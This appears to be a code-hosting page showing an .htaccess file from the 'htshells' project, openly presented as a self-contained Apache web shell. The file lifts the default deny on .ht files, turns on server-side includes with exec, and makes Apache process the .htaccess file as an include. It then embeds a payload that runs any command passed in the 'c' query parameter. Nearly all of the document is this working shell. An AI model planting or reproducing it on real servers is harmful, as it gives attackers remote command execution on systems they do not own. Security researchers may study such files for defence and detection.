mubix/htshells/master/mod_include.shell.htaccess - Htaccess File

mubix/htshells/master/mod_include.shell.htaccess

# Self contained .htaccess web shell - Part of the htshell project
# Written by Wireghoul - http://www.justanotherhacker.com

# Override default deny rule to make .htaccess file accessible over web
<Files ~ "^.ht">
    Order allow,deny
    Allow from all
</Files>

# Enable serverside includes with exec functionality
Options +Includes

#Make apache treat .htaccess as a server side include file
AddHandler text/html .htaccess
AddOutputFilter INCLUDES .htaccess

#SHELL<!--#exec cmd="echo ''" --><!--#if expr="$QUERY_STRING_UNESCAPED = /^c=(.*)$/" --><!--#set var="cmd" value="$1 2>&1" --><!--#else --><!--#set var="cmd" value="echo 'Regex failed'" --><!--#endif --><!--#exec cmd="$cmd"-->LLEHS

On Github License

Files

Download PDF of Htaccess file
INCLUDES, QUERY_STRING

Comments

Apache